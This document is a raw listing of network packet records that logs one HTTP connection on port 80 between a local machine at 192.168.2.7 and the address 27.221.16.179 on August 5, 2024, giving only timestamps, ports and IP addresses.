Aug 5, 2024 12:01:40.707482100 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.707501888 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.751475096 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:41.000664949 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.000704050 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.000741005 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.000838041 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.000843048 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:41.000888109 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:41.000894070 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.000931025 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.000973940 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:41.001019955 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.001053095 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.001085997 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.001102924 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:41.001121044 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.001171112 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:41.001293898 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.001327038 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.001362085 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.001379967 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:41.001396894 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.001430035 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.001447916 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:41.001466036 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.001518965 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:41.001677990 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.001712084 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.001746893 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.001765966 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:41.001781940 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.001816988 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.001828909 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:41.001852989 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.001888990 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.001900911 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:41.002157927 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.002191067 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.002218962 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:41.002224922 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.002259016 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.002274036 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:41.002291918 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.002325058 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.002340078 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:41.002360106 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.002393961 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.002409935 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:41.002429008 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.002480030 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:41.002716064 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.002749920 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.002785921 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.002803087 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:41.002821922 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.002856016 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.002890110 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.002892017 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:41.002924919 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.002962112 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:41.003118038 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.003153086 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.003185987 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.003215075 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:41.003220081 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.003240108 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:41.003253937 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.003285885 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.003319025 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.003319979 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:41.003351927 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.003382921 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:41.048367023 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:41.087086916 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:41.142067909 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.293077946 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.293129921 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.293138981 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.293251991 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.293261051 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.293265104 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.293271065 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.293282986 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.293296099 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.293323040 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.293462992 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.293473959 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.293503046 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.293672085 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.293684006 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.293693066 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.293705940 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.293718100 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.293720007 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.293730974 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.293745995 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.293761015 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.293798923 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.294131994 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.294143915 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.294153929 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.294173956 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.294176102 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.294184923 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.294197083 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.294219971 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.294219971 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.294234037 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.294241905 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.294245005 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.294255018 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.294265985 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.294266939 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.294279099 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.294290066 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.294291019 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.294301987 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.294310093 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.294315100 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.294347048 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.295069933 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.295080900 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.295095921 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.295109987 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.295114040 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.295126915 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.295131922 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.295137882 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.295150042 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.295155048 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.295161963 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.295171976 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.295183897 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.295192003 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.295195103 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.295207977 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.295219898 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.295219898 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.295232058 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.295238972 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.295243979 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.295253992 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.295278072 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.295993090 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.296005964 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.296017885 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.296030045 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.296036005 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.296040058 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.296051979 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.296057940 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.296068907 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.296073914 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.296091080 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.296113968 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.297458887 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.297499895 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.305836916 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.305866957 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.305880070 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.305903912 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.305985928 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.305995941 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.306006908 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.306027889 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.306055069 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.306169987 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.306181908 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.306225061 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.306328058 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.306361914 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.306368113 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.306379080 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.306384087 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.306391001 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.306411982 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.306437016 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.306793928 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.306807041 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.306818008 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.306828976 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.306840897 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.306853056 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.306864977 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.306874990 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.306875944 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.306890011 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.306900024 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.306911945 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.306925058 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.306930065 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.306991100 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.307581902 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.307594061 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.307605982 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.307616949 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.307629108 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.307641029 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.307652950 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.307655096 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.307663918 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.307676077 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.307687044 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.307698965 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.307710886 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.307722092 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.307725906 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.307734013 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.307748079 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.307794094 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.308561087 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.308574915 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.308584929 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.308592081 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.308603048 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.308614969 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.308625937 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.308638096 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.308650970 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.308661938 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.308672905 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.308676004 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.308686018 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.308697939 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.308710098 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.308722973 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.308737993 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.308753967 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.308809042 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.309515953 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.309529066 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.309540987 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.309551954 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.309566021 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.309577942 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.309588909 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.309601068 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.309611082 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.309612036 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.309623957 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.309634924 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.309658051 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.309669018 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.309679985 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.309690952 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.309704065 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.309705019 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.309773922 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.310430050 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.310441971 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.310452938 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.310463905 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.310475111 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.310488939 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.310501099 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.310513020 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.310513020 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.310523987 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.310535908 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.310548067 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.310570002 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.310622931 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.311022997 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.311034918 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.311094999 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.311161995 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.311173916 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.311183929 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.311194897 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.311207056 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.311214924 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.311218023 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.311228991 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.311239958 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.311249971 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.311261892 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.311271906 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.311278105 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.311284065 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.311299086 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.311340094 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.312572956 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.312623978 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.312623024 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.312634945 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.312648058 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.312660933 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.312680960 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.312700033 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.312827110 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.312838078 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.312849045 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.312860966 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.312875986 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.312880993 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.312892914 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.312899113 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.312903881 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.312915087 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.312922001 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.312927961 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.312938929 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.312946081 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.312951088 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.312963963 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.312971115 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.312974930 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.312984943 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.312994003 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.312999010 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.313011885 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.313020945 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.313024044 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.313035011 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.313047886 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.313050032 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.313057899 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.313070059 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.313074112 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.313082933 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.313097000 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.313122034 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.313344955 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.313355923 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.313366890 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.313381910 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.313393116 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.313393116 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.313406944 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:42.313410997 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.313424110 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:42.313436031 CEST	80	49905	27.221.16.179	192.168.2.7
